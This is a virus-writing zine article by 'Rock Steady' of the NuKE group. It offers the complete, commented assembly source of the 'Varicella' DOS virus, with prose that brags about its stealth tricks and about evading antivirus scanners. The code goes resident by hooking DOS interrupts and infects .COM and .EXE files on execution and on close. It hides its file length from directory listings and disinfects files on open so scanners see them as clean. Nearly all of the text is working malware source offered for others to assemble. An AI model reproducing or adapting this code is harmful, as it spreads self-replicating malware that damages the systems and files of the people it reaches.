NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "The Varicella Virus Source Codes -N E- Nu -N uK Nu By KE uK Rock Steady E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu ahh, NuKE PoX viruses will never end... Well I noticed a few flaws and faults in code in the old NuKE PoX virus version 2.0, which I wanted to refine. This time I had a lot of time, and I _fully_ commented the source codes. % Improvements % The most major improvement is the infection routine, I have created a generic method that will always use the same infection/disinfection routine. If you remember NuKE PoX v2.0 you noticed that I copied whole blocks of the code twice, which gave the virus a size of 1800 Bytes! This version hovers at 1483 bytes, and it's far from tight, but it's EXTREMELY reliable! Meaning this baby should never crash for any reason. And it has _many_ added features that N-Pox v2.0 didn't have! % Introduction to the ideology of the Stealth Virus % Like the SVC viruses, this virus will `disinfect' on the fly. And to the DIMWIT that said SVC doesn't disinfect by rewriting the program on disk, GO CHECK YOUR INFO NITWIT. The SVC viruses will disinfect a file when opened, the SVC virus will actually remove the virus from the infected program. It will NOT attempt a disinfection in memory only! It does have the ability to do this to a certain extent, if you execute the file, and if you jump towards the end of the file by Int21h/4202h the SVC virus will fool DOS to think that the file is not infected, whereby it really is. But this method has a MAJOR flaw, one flaw is exercised by F-Prot anti-virus, to defeat this dumb method. The major flaw is that these viruses _cannot_ keep track of file pointers, it would take too much code to exercise this. So if you read a file from the beginning and read sequentially toward the end, surely enough you will encounter the SVC virus, because it does not have the ability to keep track of the file pointer. So in order to fix this, SVC will do a _real_ disinfection of the file on disk. Therefore in all aspects the file will look clean, as it _is_ clean! Also note, that the SVC viruses also infect System Device drivers, this is _rarely_ noted, maybe because people use VSUM as a reference? % Varicella Features % The virus will only infect .com and .exe generic files. I have removed the .ovl infections because of certain crashes that persist with certain large programs. No virus to date successfully does this for some reason. The virus will hide its file length by FCB directory method (Int21h/ah=11h,12h) and by File Handles method (Int21h/ah=4Eh,4Fh). The virus will disinfect the file on opens & extended opens via (Int21h/ah=3Fh,6Ch). The virus will also disinfect files as they are executed, (Int21h/ah=4Bh) and will later reinfect it when it has terminated. The virus will infect on closing (Int21h/ah=3Eh) and it uses the very sophisticated Job File Table method (The List of List). Infection is denoted by the seconds field will equal the day of the month! This method is _a lot_ better than having the seconds field to 60 or 62, because many AV programs flag on invalid seconds field. Therefore now the seconds field will be from a number 1->31 (Days in a month), and only with a 6% chance of an invalid second field stamp. Also in order not to create problems, the last two bytes of the virus _must_ be DBh,DBh. Therefore the virus uses TWO methods of detecting infection, because we wouldn't want to `disinfect' a file that isn't infected, so we must be 100% sure. I found it no use to have a `fake' disinfection routine, whereby it fakes a disinfection, for the reason that this method contains several flaws. And I found that testing this virus on my PC with a 40 Meg MFM 65ms drive, showed _very_ little signs of abnormality. So in speed wise, it's very fast, what is a 1-2 millisecond more, (1/100s of a second). When disinfecting a file, the virus even puts back the original seconds field time stamp, leaving absolutely no trace of its existence! How many viruses do that? huh? % To Come % Well I already have a multi-partition version of this virus, I'm currently tring to add NED polymorphic possibilities to this virus. This will be a nice task, as NED is variable in length, therefore I have to save the original file length, or I will fix NED to be constant in length. Nevertheless you should see it coming soon. % About the Name % Well I didn't want to call this N-Pox, because it has NO code similarities with N-Pox, the only thing they share is the method of going resident. But I called this "Varicella" because, Varicella is the medical term for (Chicken Pox) that adults get! When a child gets the Pox, you call it Chicken Pox, when an adult gets it, you call it Varicella! So I found it appropriate to call this Varicella because it is perhaps the `adult' or later out come of the N-Pox virus. ;================================================================= ; (c) NuKE Software Development 1991, 1992, 1993 ; ; VARICELLA VIRUS (Size 1483) ; ; By Rock Steady ; ; TASM VARICELL; ; TLINK/T VARICELL; ; virus_size equ last - init_virus ;virus size (bytes) mut1 equ 3 mut2 equ 1 mut3 equ 103h ;offset in memory seg_a segment byte public assume cs:seg_a,ds:seg_a org 100h ;compile to .com start: jmp init_virus ;------------------------------------------------------------------------------- init_virus: call doit_now ;begin virus doit_now: pop bp ;pop call offset sub bp,offset doit_now ;fix it with pointer push ax ;save registers push ds push es mov ax,0abcdh ;check if virus is int 13h ;alive in memory jmp next_code1 ;force jump virus_here: jmp exit_com ;error jump exit next_code1: cmp bx,0abcdh ;cmp bx if virus alive jnz install_virus jmp virus_here ;yes, skip memory part install_virus: push bx ;save registers push cx push dx push si push di push ds xor dx,dx ;0 value to dx mov ds,dx ;put that in ds les si,dword ptr ds:[0084h] ;get int21 vector mov word ptr cs:[int21][bp],si ;save int21 offset mov word ptr cs:[int21+2][bp],es ;save int21 segment les si,dword ptr ds:[0070h] ;get int1c vector mov word ptr cs:[int1c][bp],si ;save int1c offset mov word ptr cs:[int1c+2][bp],es ;save int1c segment les si,dword ptr ds:[004ch] ;get int13 vector mov word ptr cs:[int13][bp],si ;save int13 offset mov word ptr cs:[int13+2][bp],es ;save int13 segment pop ds ;DS=PSP (.exe only) push ds ;save DS mov ax,ds ;ds=cx dec ax ;dec cx, cx=mcb mov es,ax ;es=cx, mcb mov bx,es:mut1 ;bx=es:0003, mem size mov dx,virus_size ;dx=virus size (bytes) mov cl,4 shr dx,cl ;convert bytes to 16k add dx,4 ;paragraphs + 1 mov cx,es ;cx=psp segment sub bx,dx ;sub virus size from inc cx ;new mem address mov es,cx ;new segment mov ah,4ah ;set the block size int 21h jc exit_mem mov ah,48h dec dx ;alloc the mem mov bx,dx ;bx=# of para blocka int 21h jc exit_mem dec ax ;new segment add mov es,ax ;ax=es=mcb mov cx,8h ;DOS is the owner mov es:mut2,cx ;put it in mcb sub ax,0fh mov di,mut3 ;new offset to go mov es,ax ;es=segment mov si,bp ;add delta offset add si,offset init_virus ;begining of virus mov cx,virus_size ;our size push cs ;get the correct pop ds ;segment in ds cld ;clear direction to + repne movsb ;move us mov ds,cx ;ds=0000 cli ;disable ints mov word ptr ds:[0084h],offset int21_handler ;hook int21 mov word ptr ds:[0086h],es mov word ptr ds:[0070h],offset int1c_handler ;hook int1c mov word ptr ds:[0072h],es mov word ptr ds:[004ch],offset int13_handler ;hook int13 mov word ptr ds:[004eh],es sti ;enable ints exit_mem: pop ds ;restore 'em pop di pop si pop dx pop cx pop bx exit_com: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? je exit_exe_file ;yupe exit exe file cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? je exit_exe_file ;yupe exit exe file push cs ;fix cs=ds for .com pop ds mov bx,offset buffer ;get first 3 bytes add bx,bp ;fix delta mov ax,[bx] ;move first 2 bytes mov word ptr ds:[100h],ax ;put em in the beginning inc bx ;inc pointer inc bx mov al,[bx] ;get last of 3rd byte mov byte ptr ds:[102h],al ;put that in place pop es pop ds pop word ptr cs:[ax_reg][bp] ;save ax else where mov ax,100h push ax ;fake a CALL & RETN mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal retn ;link to 100h exit_exe_file: mov dx,ds ;get psp=ds seg add dx,10h ;add 16bytes to seg pop es pop ds pop ax add word ptr cs:[buffer+22][bp],dx ;fix segments add dx,word ptr cs:[buffer+14][bp] cli mov ss,dx ;restore ss mov sp,word ptr cs:[buffer+16][bp] ;and sp sti jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. ax_reg dd 0 bp_reg dd 0 int13 dd 0 int1c dd 0 int21 dd 0 ;=============================================================================== ; Int 13h Handler ;=============================================================================== int13_handler: cmp ax,0abcdh ;virus test je int13_test ;yupe int13call: jmp dword ptr cs:[int13] ;original int13 int13_test: mov bx,ax ;fix iret ;=============================================================================== ; Int 1Ch Handler ;=============================================================================== int1c_handler: iret ;------------------------------------------------------------------------------- ; FCB Dir Stealth Routine (File Find) ;------------------------------------------------------------------------------- fcb_dir: call calldos21 ;get the fcb block test al,al ;test for error jnz fcb_out ;jmp if error push ax ;save registers push bx push cx push es mov ah,51h ;get current psp call calldos21 ;call int21 mov es,bx ;es=segment of psp cmp bx,es:[16h] ;psp of command.com? jnz fcb_out1 ;no, then jmp mov bx,dx ;ds:bx=fcb mov al,[bx] ;1st byte of fcb push ax ;save it mov ah,2fh ;get dta call calldos21 ;es:bx <- dta pop ax ;get first byte inc al ;al=ffh therefor al=ZR jnz fcb_old ;if != ZR jmp add bx,7h ;extended fcb here, +7 fcb_old: mov ax,es:[bx+17h] ;get file time stamp mov cx,es:[bx+19h] ;get file date stamp and ax,1fh ;unmask seconds field and cx,1fh ;unmask day of month xor ax,cx ;are they equal? jnz fcb_out1 ;nope, exit then sub word ptr es:[bx+1dh],virus_size ;sub away virus_size sbb word ptr es:[bx+1fh],0 ;sub with carry flag fcb_out1: pop es ;restore registers pop cx pop bx pop ax fcb_out: iret ;return control ;------------------------------------------------------------------------------- ; ASCIIZ Dir Stealth Routine (File Find) ;------------------------------------------------------------------------------- dta_dir: call calldos21 ;get results to dta jb dta_out ;if error, split push ax ;save register push bx push cx push es mov ah,2fh ;get current dta call calldos21 ;es:bx <- dta mov ax,es:[bx+16h] ;get file time stamp mov cx,es:[bx+18h] ;get file date stamp and ax,1fh ;unmask seconds field and cx,1fh ;unmask day of month xor ax,cx ;are they equal jnz dta_out1 ;nope, exit then sub word ptr es:[bx+1ah],virus_size ;sub away virus_size sbb word ptr es:[bx+1ch],0 ;sub with carry flag dta_out1: pop es ;restore registers pop cx pop bx pop ax dta_out: retf 0002h ;pop 2 words of stack ;=============================================================================== ; Int 21h Handler ;=============================================================================== int21_handler: cmp ah,11h ;FCB find first match je old_dir cmp ah,12h ;FCB find next match je old_dir cmp ah,4eh ;Find first match je new_dir cmp ah,4fh ;Find next match je new_dir cmp ah,3dh ;Opening a file je file_open cmp ah,6ch ;Ext_opening a file je file_ext_open cmp ah,3eh ;closing a file je file_close cmp ah,4bh ;Execution of a file je file_execute int21call: jmp dword ptr cs:[int21] ;original int21 old_dir: jmp fcb_dir ;fcb file find new_dir: jmp dta_dir ;new asciiz file find file_open: jmp open_file ;disinfect opening file file_ext_open: jmp open_ext_file ;disinfect opening file file_close: jmp close_file ;infect closing file file_execute: call check_extension ;check for ok ext cmp byte ptr cs:[com_ext],1 ;is it a com? je exec_disinfect ;yupe disinfect it cmp byte ptr cs:[exe_ext],1 ;is it a exe? je exec_disinfect ;yupe disinfect it jmp SHORT int21call exec_disinfect: call exec_disinfect1 ;Disinfect file mov word ptr cs:[ax_reg],dx pushf ;fake an int call dword ptr cs:[int21] ;call dos xchg word ptr cs:[ax_reg],dx ;restore dx mov byte ptr cs:[close],0 ;reset flag.. push ax ;store 'em push bx push cx push dx push si push di push es push ds closing_infect: mov ax,3524h ;get error handler call calldos21 ;call dos push es ;save es:bx= int_24 push bx ;error handler push ds ;ds:dx= asciiz string push dx push cs ;cs=ds pop ds mov dx,offset int21_handler ;hook error handler mov ax,2524h ;with our int24h call calldos21 pop dx ;restore ds:dx asciiz pop ds ;string cmp byte ptr cs:[close],0 ;Are we closing file? je exec_get_att ;nope, then jmp mov ax,word ptr cs:[handle] ;yupe, ax=file handle jmp exec_open_ok ;jmp so you don't open ;the file twice... exec_get_att: mov ax,4300h ;get file attribs call calldos21 ;call dos jnc exec_attrib ;no, error jmp jmp exec_exit2 ;ERROR - split exec_attrib: mov byte ptr cs:[attrib],cl test cl,1 ;check bit 0 (read_only) jz exec_attrib_ok ;if bit0=0 jmp dec cx ;else turn of bit_0 mov ax,4301h ;write new attribs call calldos21 ;call dos exec_attrib_ok: mov ax,3d02h ;open file for r/w call calldos21 ;call dos jnc exec_open_ok ;ok, no error jmp jmp exec_exit2 ;ERROR - split exec_open_ok: xchg bx,ax ;bx=file handler push cs ;cs=ds pop ds mov ax,5700h ;get file time/date call calldos21 ;call dos mov word ptr cs:[old_time],cx ;save file time mov word ptr cs:[org_time],cx mov word ptr cs:[old_date],dx ;save file date and cx,1fh ;unmask second field and dx,1fh ;unmask date field xor cx,dx ;are they equal? jnz exec_time_ok ;nope, file not infected jmp exec_exit3 ;FILE INFECTED exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits or word ptr cs:[old_time],dx ;seconds=day of month mov ax,4200h ;reset ptr to beginning xor cx,cx ;(as opened files may xor dx,dx ; have ptr anywhere, call calldos21 ; so be smart!) mov word ptr cs:[marker],0DBDBh ;File Infection marker mov dx,offset ds:[buffer] ;ds:dx buffer mov cx,18h ;read 18h bytes mov ah,3fh ;read from handle call calldos21 ;call dos jc exec_exit1 ;error? if yes jmp sub cx,ax ;did we read 18h bytes? jnz exec_exit1 ;if no exit mov dx,cx ;cx=0 dx=0 mov ax,4202h ;jmp to EOF call calldos21 ;call dos jc exec_exit1 ;error? exit if so. mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz mov word ptr cs:[filesize],dx ;save upper 16bit fileSz call chkbuf ;check if .exe jz exec_cool ;jmp if .exe file cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? jb exec_cool ;if less jmp! exec_exit1: jmp exec_exit3 ;exit! exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning mov cx,virus_size ;cx=virus size mov ah,40h ;write to handle call calldos21 ;call dos jc exec_exit1 ;error? if yes exit sub cx,ax ;cx=ax bytes? jnz exec_exit1 ;not equal exit mov dx,cx ;cx=0 dx=0 mov ax,4200h ;jmp to top of file call calldos21 ;call dos jc exec_exit1 ;error, then exit mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize call chkbuf ;check if .exe jnz exec_com_file ;if !=.exe jmp mov dx,word ptr cs:[filesize] ;get upper 16bit mov cx,4 ;cx=0004 mov si,word ptr cs:[buffer+8] ;get exe header size shl si,cl ;mul by 16 sub ax,si ;exe_header - filesize sbb dx,0h ;sub with carry mov cx,10h ;cx=0010 div cx ;ax=length in para ;dx=remaider mov word ptr cs:[buffer+20],dx ;New IP offset address mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) add dx,virus_size+100h ;Dx=virus_size+256 mov word ptr cs:[buffer+16],dx ;New SP entry mov word ptr cs:[buffer+14],ax ;New SS (in para) add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para mov ax,word ptr cs:[buffer+10] ;ax=min para needed cmp ax,word ptr cs:[buffer+12] ;cmp with max para jb exec_size_ok ;jmp if ok! mov word ptr cs:[buffer+12],ax ;nop, enter new max exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size add ax,virus_size ;add virus to it push ax ;push it and ah,1 ; mov word ptr cs:[buffer+2],ax ;restore new value pop ax ;pop ax mov cl,9 ; shr ax,cl ; add word ptr cs:[buffer+4],ax ;enter fileSz + header mov dx,offset buffer ;ds:dx=new exe header mov cx,18h ;cx=18h bytes to write jmp SHORT exec_write_it ;jmp... exec_com_file: sub ax,3 ;sub 3 for jmp address mov word ptr cs:[buffer+1],ax ;store new jmp value mov byte ptr cs:[buffer],0E9h ;E9h=JMP mov dx,offset buffer ;ds:dx=buffer mov cx,3 ;cx=3 bytes exec_write_it: mov ah,40h ;write to file handle call calldos21 ;call dos mov dx,word ptr cs:[old_date] ;restore old date mov cx,word ptr cs:[old_time] ;restore old time mov ax,5701h ;write back to file call calldos21 ;call dos exec_exit3: mov ah,3eh ;close file call calldos21 ;call dos exec_exit2: pop dx ;restore es:bx (the pop ds ;original int_24) mov ax,2524h ;put back to place call calldos21 ;call dos pop ds pop es pop di ;pop registers pop si pop dx xor cx,cx mov cl,byte ptr cs:[attrib] ;get old file attrib mov ax,4301h ;put them back call calldos21 ;call dos pop cx pop bx pop ax cmp byte ptr cs:[close],0 ;get called by exec? je exec_good_bye ;yep, then jmp iret ;else exit now. exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx iret ;iret ;------------------------------------------------------------------------------- ; Close File Int21h/ah=3Eh ;------------------------------------------------------------------------------- close_file: cmp bx,4h ;file handler > 4? ja close_cont ;jmp if above jmp int21call ;else exit close_cont: push ax ;save 'em push bx push cx push dx push si push di push es push ds push bx ;save file handler mov ax,1220h ;get job file table! int 2fh ;call multiplex ;es:di=JFT for handler mov ax,1216h ;get system file table mov bl,es:[di] ;bl=SFT entry int 2fh ;call multiplex pop bx ;save file handler add di,0011h mov byte ptr es:[di-0fh],02h ;set to read/write add di,0017h cmp word ptr es:[di],'OC' ;check for .COM file jne closing_next_try ;no try next ext cmp byte ptr es:[di+2h],'M' ;check last letter je closing_cunt3 ;no, file no good, exit closing_exit: jmp closing_nogood ;exit closing_next_try: cmp word ptr es:[di],'XE' ;check for .EXE file jne closing_exit ;no, exit cmp byte ptr es:[di+2h],'E' ;check last letter jne closing_exit ;no, exit closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag mov word ptr cs:[handle],bx ;save handler jmp closing_infect ;infect file! closing_nogood: pop ds ;restore 'em pop es pop di pop si pop dx pop cx pop bx pop ax jmp int21call ;good bye, baby... ;------------------------------------------------------------------------------- ; Execute Disinfecting routine ;------------------------------------------------------------------------------- exec_disinfect1 PROC push ax ;save registers push bx push cx push dx push ds mov ax,4300h ;get file attribs call calldos21 ;call dos test cl,1h ;is Read-only flag? jz okay_dis ;no, jmp attribs ok dec cx ;turn off bit 0 mov ax,4301h ;write new attribs call calldos21 ;call dos jnc okay_dis ;No error? then jmp jmp end_dis ;error? exit! okay_dis: mov ax,3d02h ;open file for r/w call calldos21 ;call dos jnc dis_fileopen ;No error? then jmp jmp end_dis ;Error? exit! dis_fileopen: xchg bx,ax ;bx=file handle mov ax,5700h ;get file time/date call calldos21 ;call dos mov word ptr cs:[old_time],cx ;save file time mov word ptr cs:[old_date],dx ;save file date and cx,1fh ;unmask second field and dx,1fh ;unmask date field xor cx,dx ;are they equal? jnz half_way ;nope, file not infected mov ax,4202h ;jmp to EOF xor cx,cx ;cx=0 xor dx,dx ;dx=0 call calldos21 ;call dos push cs ;cs=ds pop ds ; mov cx,dx ;dx:ax=file size mov dx,ax ;save to cx:dx push cx ;save upper fileSz push dx ;save lower fileSz sub dx,1Ch ;filesize-1C=origin byte sbb cx,0 ;sub with carry mov ax,4200h ;position ptr call calldos21 ;call dos mov ah,3fh ;open file mov cx,1Ch ;read last 1Ch bytes mov dx,offset org_time ;put in ds:dx call calldos21 ;call dos call chkbuf ;Did it work? je half ;Yes,Jmp cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? je half ;Yes, then jmp pop dx pop cx half_way: jmp end_dis1 ;exit, error! half: xor cx,cx ;cx=0 xor dx,dx ;dx=0 mov ax,4200h ;pointer to top of file call calldos21 ;call dos mov ah,40h ;write function mov dx,offset buffer ;ds:dx=buffer mov cx,18h ;cx=18h bytes to write call chkbuf ;check if .exe? jz SHORT dis_exe_jmp ;yupe, jmp mov cx,3h ;else write 3 bytes dis_exe_jmp: call calldos21 ;call dos pop dx ;pop original fileSz pop cx sub dx,virus_size ;Sub with virus_size sbb cx,0 ;sub with carry mov ax,4200h ;ptr top of virus call calldos21 ;call dos mov ah,40h ;write function xor cx,cx ;write 0 bytes call calldos21 ;call dos! (new EOF) mov cx,word ptr ds:[org_time] ;get original time mov dx,word ptr ds:[old_date] ;get original date mov ax,5701h ;put back to file call calldos21 ;call dos end_dis1: mov ah,3eh ;close file handle call calldos21 ;call dos end_dis: pop ds ;restore values pop dx pop cx pop bx pop ax ret exec_disinfect1 ENDP ;------------------------------------------------------------------------------- ; Open File by DOS Int21h/ah=6ch ;------------------------------------------------------------------------------- open_ext_file: push dx ;save DX mov dx,si ;asciiz=DS:DX now jmp open_ext ;jmp ;------------------------------------------------------------------------------- ; Open File by DOS Int21h/ah=3Dh ;------------------------------------------------------------------------------- open_file: push dx ;save dx (asciiz) open_ext: call check_extension ;check extension cmp byte ptr cs:[com_ext],1 ;is it a .com? je open_ok_ext ;yep, then jmp cmp byte ptr cs:[exe_ext],1 ;is it a .exe? je open_ok_ext ;yep, them jmp jmp open_exit ;ext no good, exit! open_ok_ext: call exec_disinfect1 ;disinfect file! open_exit: pop dx ;restore dx jmp int21call ;exit to dos... ;------------------------------------------------------------------------------- ; Checks Buffer (EXE) Header ;------------------------------------------------------------------------------- chkbuf PROC push si ;save register mov si,word ptr cs:[buffer] ;get first word cmp si,5A4Dh ;si=ZM? je chkbuf_ok ;if yes exit cmp si,4D5Ah ;si=MZ? chkbuf_ok: pop si ;pop register ret chkbuf ENDP ;------------------------------------------------------------------------------- ; Check file Extension ;------------------------------------------------------------------------------- check_extension PROC pushf ;save flags push cx ;save cx,si push si mov si,dx ;ds:[si]=asciiz mov cx,128 ;scan 128 bytes max mov byte ptr cs:[com_ext],0 ;reset .com flag mov byte ptr cs:[exe_ext],0 ;reset .exe flag check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." je check_ext1 ;jmp if found inc si ;else inc and loop loop check_ext ;loop me check_ext1: inc si ;inc asciiz ptr cmp word ptr ds:[si],'OC' ;is it .COM jne check_ext2 ; ~~ cmp byte ptr ds:[si+2],'M' ;is it .COM je com_file_ext ; ~ check_ext2: cmp word ptr ds:[si],'oc' ;is it .com jne check_ext3 ; ~~ cmp byte ptr ds:[si+2],'m' ;is it .com je com_file_ext ; ~ check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE jne check_ext4 ; ~~ cmp byte ptr ds:[si+2],'E' ;is it .EXE je exe_file_ext ; ~ check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe jne check_ext_exit ; ~~ cmp byte ptr ds:[si+2],'e' ;is it .exe je exe_file_ext ; ~ jmp check_ext_exit ;neither exit com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file jmp SHORT check_ext_exit ;jmp short exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file check_ext_exit: pop si ;restore pop cx popf ;save flags ret com_ext db 0 ;flag on=.com file exe_ext db 0 ;flag on=.exe file check_extension ENDP ;------------------------------------------------------------------------------- ; Original Int21h ;------------------------------------------------------------------------------- calldos21 PROC pushf ;fake int call call dword ptr cs:[int21] ;call original int_21 ret calldos21 ENDP ;=============================================================================== ; Int 24h Handler ;=============================================================================== int24_handler: mov al,3 ;don't report error... iret ;later dude... ;------------------------------------------------------------------------------- ; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS close db 0 ;closing file ;------------------------------------------------------------------------------- ; END - END - END - END - END - END - END flags dw 0 ;Flags are saved here attrib db 0 ;file's attrib filesize dd 0 ;filesize handle dw 0 ;file handler old_date dw 0 ;file date old_time dw 0 ;file time org_time dw 0 ;original file time ;------------------------------------------------------------------------------- buffer db 0CDh,020h ; 0 (0) EXE file signature db 090h,090h ; 2 (2) Length of file db 090h,090h ; 4 (4) Size of file + header (512k) db 090h,090h ; 6 (6) # of relocation items db 090h,090h ; 8 (8) Size of header (16byte para) db 090h,090h ; A (10) Min para needed (16byte) db 090h,090h ; C (12) Max para needed (16byte) db 090h,090h ; E (14) SS reg from start in para. db 090h,090h ; 10(16) SP reg at entry db 090h,090h ; 12(18) checksum db 090h,090h ; 14(20) IP reg at entry db 090h,090h ; 16(22) CS reg from start in para. Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! last: seg_a ends end start ================================================================================